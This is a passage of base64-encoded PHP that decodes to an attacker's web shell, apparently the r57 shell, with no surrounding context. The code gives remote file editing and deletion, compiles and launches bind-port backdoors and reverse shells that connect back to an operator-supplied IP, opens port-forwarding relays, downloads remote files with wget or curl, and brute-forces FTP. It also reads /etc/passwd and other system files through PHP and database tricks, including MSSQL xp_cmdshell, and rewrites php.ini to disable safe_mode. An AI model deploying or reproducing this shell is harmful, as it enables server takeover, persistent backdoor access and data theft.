NCiAgICAgICB9DQogICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKQ0KICAgICAgIHsNCiAgICAgICBpZih1bmxpbmsoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYzJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgIH0NCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ2Rpcic6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKXsNCiAgICAgIGlmKG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgfQ0KICAgICAgZWxzZSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgfQ0KICAgICAgZWxzZSBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJkZWxldGUiKXsNCiAgICAgIGlmKHJtZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NCddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgfQ0KICAgICBicmVhazsNCiAgIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImVkaXRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZV9uYW1lJ10pKQ0KIHsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIrIikpIHsgJG9ubHlfcmVhZCA9IDE7IEBmY2xvc2UoJGZpbGUpOyB9DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJyIikpIHsgZXJyKDEsJF9QT1NUWydlX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiBlbHNlIHsNCiBlY2hvICR0YWJsZV91cDM7DQogZWNobyAkZm9udDsNCiBlY2hvICI8Zm9ybSBuYW1lPXNhdmVfZmlsZSBtZXRob2Q9cG9zdD4iOw0KIGVjaG8gd3MoMykuIjxiPiIuJF9QT1NUWydlX25hbWUnXS4iPC9iPiI7DQogZWNobyAiPGRpdiBhbGlnbj1jZW50ZXI+PHRleHRhcmVhIG5hbWU9ZV90ZXh0IGNvbHM9MTIxIHJvd3M9MjQ+IjsNCiBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZmlsZSxAZmlsZXNpemUoJF9QT1NUWydlX25hbWUnXSkpKTsNCiBmY2xvc2UoJGZpbGUpOw0KIGVjaG8gIjwvdGV4dGFyZWE+IjsNCiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9Ii4kX1BPU1RbJ2VfbmFtZSddLiI+IjsNCiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kaXIgdmFsdWU9Ii4kZGlyLiI+IjsNCiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jbWQgdmFsdWU9c2F2ZV9maWxlPiI7DQogZWNobyAoIWVtcHR5KCRvbmx5X3JlYWQpPygiPGJyPjxicj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NCddKTooIjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiICIuJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10uIiBcIj4iKSk7DQogZWNobyAiPC9kaXY+IjsNCiBlY2hvICI8L2ZvbnQ+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOw0KIGV4aXQoKTsNCiB9DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJzYXZlX2ZpbGUiKQ0KIHsNCiAkbXRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsnZV9uYW1lJ10pOw0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwidyIpKSB7IGVycigwLCRfUE9TVFsnZV9uYW1lJ10pOyB9DQogZWxzZSB7DQogaWYoJHVuaXgpICRfUE9TVFsnZV90ZXh0J109QHN0cl9yZXBsYWNlKCJcclxuIiwiXG4iLCRfUE9TVFsnZV90ZXh0J10pOw0KIEBmd3JpdGUoJGZpbGUsJF9QT1NUWydlX3RleHQnXSk7DQogQHRvdWNoKCRfUE9TVFsnZV9uYW1lJ10sJG10aW1lLCRtdGltZSk7DQogJF9QT1NUWydjbWQnXT0iIjsNCiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiB9DQogfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvYmQuYyIsJHBvcnRfYmluZF9iZF9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iZCAvdG1wL2JkLmMiKTsNCiBAdW5saW5rKCIvdG1wL2JkLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2JkICIuJF9QT1NUWydwb3J0J10uIiAiLiRfUE9TVFsnYmluZF9wYXNzJ10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmQiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvYmRwbCIsJHBvcnRfYmluZF9iZF9wbCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9iYWNrICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iYWNrYyAvdG1wL2JhY2suYyIpOw0KIEB1bmxpbmsoIi90bXAvYmFjay5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9kcCIsJGRhdGFwaXBlX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgZHAiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvZHBjLmMiLCRkYXRhcGlwZV9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIpOw0KIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2RwYyAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2FsaWFzJ10pICYmIGlzc2V0KCRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV0pKSB7ICRfUE9TVFsnY21kJ10gPSAkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dOyB9DQppZiAoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXSkpDQp7DQppZighZW1wdHkoJF9QT1NUWyduZXdfbmFtZSddKSkgeyAkbmZuID0gJF9QT1NUWyduZXdfbmFtZSddOyB9DQplbHNlIHsgJG5mbiA9ICRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTsgfQ0KQGNvcHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwNCiAgICAgICAgICAgICRfUE9TVFsnZGlyJ10uIi8iLiRuZm4pDQogICAgICBvciBwcmludCgiPGZvbnQgY29sb3I9cmVkIGZhY2U9Rml4ZWRzeXM+PGRpdiBhbGlnbj1jZW50ZXI+RXJyb3IgdXBsb2FkaW5nIGZpbGUgIi4kSFRUUF9QT1NUX0ZJTEVTWyd1c2VyZmlsZSddWyduYW1lJ10uIjwvZGl2PjwvZm9udD4iKTsNCn0NCmlmICghZW1wdHkoJF9QT1NUWyd3aXRoJ10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbV9maWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQ0Kew0KIHN3aXRjaCgkX1BPU1RbJ3dpdGgnXSkNCiB7DQogY2FzZSB3Z2V0Og0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnd2dldCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtTyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGZldGNoOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnZmV0Y2gnKS4iIC1vICIuJF9QT1NUWydsb2NfZmlsZSddLiIgLXAgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBseW54Og0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbHlueCcpLiIgLXNvdXJjZSAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBsaW5rczoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2xpbmtzJykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIEdFVDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ0dFVCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgY3VybDoNCiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2N1cmwnKS4iICIuJF9QT1NUWydyZW1fZmlsZSddLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogfQ0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICgkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfdXAiIHx8ICRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikpDQogew0KIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsNCiBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9DQogJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CQ0KIGlmKCEkY29ubmVjdGlvbikgeyBlcnIoMyk7IH0NCiBlbHNlIA0KICB7ICAgCQ0KICBpZighQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9sb2dpbiddLCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pKSB7IGVycig0KTsgfQ0KICBlbHNlIA0KICAgewkNCiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTsJfQ0KICAgaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX3VwIikgICB7IEBmdHBfcHV0KCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2ZpbGUnXSwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydtb2RlJ10pOwl9DQogICB9DQogIH0NCiBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsNCiAkX1BPU1RbJ2NtZCddID0gIiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKQ0KIHsNCiBsaXN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCkgPSBzcGxpdCgiOiIsJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk7DQogaWYoZW1wdHkoJGZ0cF9wb3J0KSkgeyAkZnRwX3BvcnQgPSAyMTsgfQ0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOwkNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyAkX1BPU1RbJ2NtZCddID0gIiI7IH0JDQogZWxzZSBpZighJHVzZXJzPWdldF91c2VycygpKSB7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9DQogQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7DQogfQ0KZWNobyAkdGFibGVfdXAzOw0KaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pJiYhJHNhZmVfbW9kZSkgeyAkX1BPU1RbJ2NtZCddPSghJHVuaXgpPygiZGlyIik6KCJscyAtbGlhIik7IH0NCmVsc2UgaWYoZW1wdHkoJF9QT1NUWydjbWQnXSkmJiRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7IH0NCmVjaG8gJGZvbnQuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEnXS4iOiA8Yj48YSBzdHlsZT0nY3Vyc29yOiBwb2ludGVyOycgaWQ9J3J1bm5lZF9jbWQnIG9uY2xpY2s9J2RvY3VtZW50LmZvcm1zWzBdLmNtZC52YWx1ZT10aGlzLmlubmVySFRNTDsnPiIuQGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjbWQnXSkuIjwvYT48L2I+PC9mb250PjwvdGQ+PC90cj48dHI+PHRkPjxiPjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBpZD1yZXBvcnQgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0yMz4iOw0KaWYoJHNhZmVfbW9kZSkNCnsNCiBzd2l0Y2goJF9QT1NUWydjbWQnXSkNCiB7DQogY2FzZSAnc2FmZV9kaXInOg0KICAkZD1AZGlyKCRkaXIpOw0KICBpZiAoJGQpDQogICB7DQogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9JGQtPnJlYWQoKSkpDQogICAgew0KICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7DQogICAgIEBjbGVhcnN0YXRjYWNoZSgpOw0KICAgICBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsNCiAgICAgaWYoISR1bml4KXsgDQogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppIiwkbXRpbWUpOw0KICAgICBpZihAaXNfZGlyKCRmaWxlKSkgZWNobyAiICA8RElSPiAiOyBlbHNlIHByaW50ZigiJSA3cyAiLCRzaXplKTsNCiAgICAgfQ0KICAgICBlbHNleyANCiAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOw0KICAgICAkZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7DQogICAgIGVjaG8gJGlub2RlLiIgIjsNCiAgICAgZWNobyBwZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7DQogICAgIHByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsNCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOw0KICAgICB9DQogICAgIGVjaG8gIiRmaWxlXG4iOw0KICAgIH0NCiAgICRkLT5jbG9zZSgpOw0KICAgfQ0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI5J107DQogYnJlYWs7DQogIGNhc2UgJ3Rlc3QxJzoNCiAgJGNpID0gQGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWyd0ZXN0MV9maWxlJ10uIiIpOw0KICAkY2YgPSBAY3VybF9leGVjKCRjaSk7DQogIGVjaG8gJGNmOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDInOg0KICBAaW5jbHVkZSgkX1BPU1RbJ3Rlc3QyX2ZpbGUnXSk7DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Myc6DQogIGlmKGVtcHR5KCRfUE9TVFsndGVzdDNfcG9ydCddKSkgeyAkX1BPU1RbJ3Rlc3QzX3BvcnQnXSA9ICIzMzA2IjsgfQ0KICAkZGIgPSBAbXlzcWxfY29ubmVjdCgnbG9jYWxob3N0OicuJF9QT1NUWyd0ZXN0M19wb3J0J10sJF9QT1NUWyd0ZXN0M19tbCddLCRfUE9TVFsndGVzdDNfbXAnXSk7DQogIGlmKCRkYikNCiAgIHsNCiAgIGlmKEBteXNxbF9zZWxlY3RfZGIoJF9QT1NUWyd0ZXN0M19tZCddLCRkYikpDQogICAgew0KICAgICBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIHRlbXBfcjU3X3RhYmxlIik7DQogICAgIEBteXNxbF9xdWVyeSgiQ1JFQVRFIFRBQkxFIGB0ZW1wX3I1N190YWJsZWAgKCBgZmlsZWAgTE9OR0JMT0IgTk9UIE5VTEwgKSIpOw0KICAgICBAbXlzcWxfcXVlcnkoIkxPQUQgREFUQSBJTkZJTEUgXCIiLiRfUE9TVFsndGVzdDNfZmlsZSddLiJcIiBJTlRPIFRBQkxFIHRlbXBfcjU3X3RhYmxlIik7DQogICAgICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRlbXBfcjU3X3RhYmxlIik7DQogICAgIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSk7IH0NCiAgICAgQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyB0ZW1wX3I1N190YWJsZSIpOw0KICAgIH0NCiAgICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgIi4kc3FsLT5lcnJvcjsNCiAgIEBteXNxbF9jbG9zZSgkZGIpOw0KICAgfQ0KICBlbHNlIGVjaG8gIlstXSBFUlJPUiEgIi4kc3FsLT5lcnJvcjsNCiAgYnJlYWs7DQogIGNhc2UgJ3Rlc3Q0JzoNCiAgaWYoZW1wdHkoJF9QT1NUWyd0ZXN0NF9wb3J0J10pKSB7ICRfUE9TVFsndGVzdDRfcG9ydCddID0gIjE0MzMiOyB9DQogICRkYiA9IEBtc3NxbF9jb25uZWN0KCdsb2NhbGhvc3QsJy4kX1BPU1RbJ3Rlc3Q0X3BvcnQnXSwkX1BPU1RbJ3Rlc3Q0X21sJ10sJF9QT1NUWyd0ZXN0NF9tcCddKTsNCiAgaWYoJGRiKQ0KICAgew0KICAgaWYoQG1zc3FsX3NlbGVjdF9kYigkX1BPU1RbJ3Rlc3Q0X21kJ10sJGRiKSkNCiAgICB7DQogICAgIEBtc3NxbF9xdWVyeSgiZHJvcCB0YWJsZSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJjcmVhdGUgdGFibGUgcjU3X3RlbXBfdGFibGUgKCBzdHJpbmcgVkFSQ0hBUiAoNTAwKSBOVUxMKSIsJGRiKTsNCiAgICAgQG1zc3FsX3F1ZXJ5KCJpbnNlcnQgaW50byByNTdfdGVtcF90YWJsZSBFWEVDIG1hc3Rlci5kYm8ueHBfY21kc2hlbGwgJyIuJF9QT1NUWyd0ZXN0NF9maWxlJ10uIiciLCRkYik7DQogICAgICRyZXMgPSBtc3NxbF9xdWVyeSgic2VsZWN0ICogZnJvbSByNTdfdGVtcF90YWJsZSIsJGRiKTsNCiAgICAgd2hpbGUoKCRyb3c9QG1zc3FsX2ZldGNoX3JvdygkcmVzKSkpDQogICAgICB7DQogICAgICBlY2hvICRyb3dbMF0uIlxyXG4iOw0KICAgICAgfQkNCiAgICBAbXNzcWxfcXVlcnkoImRyb3AgdGFibGUgcjU3X3RlbXBfdGFibGUiLCRkYik7DQogICAgfQ0KICAgIGVsc2UgZWNobyAiWy1dIEVSUk9SISAiLiRzcWwtPmVycm9yOw0KICAgQG1zc3FsX2Nsb3NlKCRkYik7DQogICB9DQogIGVsc2UgZWNobyAiWy1dIEVSUk9SISAiLiRzcWwtPmVycm9yOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDUnOg0KICBpZiAoQGZpbGVfZXhpc3RzKCcvdG1wL21iX3NlbmRfbWFpbCcpKSBAdW5saW5rKCcvdG1wL21iX3NlbmRfbWFpbCcpOw0KICAkZXh0cmEgPSAiLUMgIi4kX1BPU1RbJ3Rlc3Q1X2ZpbGUnXS4iIC1YIC90bXAvbWJfc2VuZF9tYWlsIjsNCiAgQG1iX3NlbmRfbWFpbChOVUxMLCBOVUxMLCBOVUxMLCBOVUxMLCAkZXh0cmEpOw0KICAkbGluZXMgPSBmaWxlICgnL3RtcC9tYl9zZW5kX21haWwnKTsNCiAgZm9yZWFjaCAoJGxpbmVzIGFzICRsaW5lKSB7IGVjaG8gaHRtbHNwZWNpYWxjaGFycygkbGluZSkuIlxyXG4iOyB9DQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Nic6DQogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCcvZXRjL3Bhc3N3ZCcsICIiLCAiIik7CQ0KICAkZGlyX2xpc3QgPSBAaW1hcF9saXN0KCRzdHJlYW0sIHRyaW0oJF9QT1NUWyd0ZXN0Nl9maWxlJ10pLCAiKiIpOw0KICBmb3IgKCRpID0gMDsgJGkgPCBjb3VudCgkZGlyX2xpc3QpOyAkaSsrKSBlY2hvICRkaXJfbGlzdFskaV0uIlxyXG4iOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsJDQogIGJyZWFrOw0KICBjYXNlICd0ZXN0Nyc6DQogICRzdHJlYW0gPSBAaW1hcF9vcGVuKCRfUE9TVFsndGVzdDdfZmlsZSddLCAiIiwgIiIpOw0KICAkc3RyID0gQGltYXBfYm9keSgkc3RyZWFtLCAxKTsNCiAgZWNobyAkc3RyOw0KICBAaW1hcF9jbG9zZSgkc3RyZWFtKTsJDQogIGJyZWFrOw0KICBjYXNlICd0ZXN0OCc6DQogIGlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3Rlc3Q4X2ZpbGUxJ10sICRfUE9TVFsndGVzdDhfZmlsZTInXSkpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOCddOw0KICBlbHNlIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExOSddOw0KICBicmVhazsNCiAgY2FzZSAndGVzdDknOg0KICAkY3VyX2RpciA9IGRpcm5hbWUoX19GSUxFX18pOw0KICBpZighZmlsZV9leGlzdHMoIiRjdXJfZGlyL3BocF9pbmlfYmFja3VwIikgJiYgQHJlbmFtZSgiJGN1cl9kaXIvcGhwLmluaSIsIiRjdXJfZGlyL3BocF9pbmlfYmFja3VwIikpIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyMSddOw0KICBpZigkZmlsZT1AZm9wZW4oIiRjdXJfZGlyL3BocC5pbmkiLCJ3IikpDQogICB7DQogICBAZndyaXRlKCRmaWxlLCJzYWZlX21vZGUgPSBPZmZcbnNhZmVfbW9kZV9naWQgPSBPZmZcbnNhZmVfbW9kZV9pbmNsdWRlX2RpciA9XG5zYWZlX21vZGVfZXhlY19kaXIgPVxub3Blbl9iYXNlZGlyID1cbmRpc2FibGVfZnVuY3R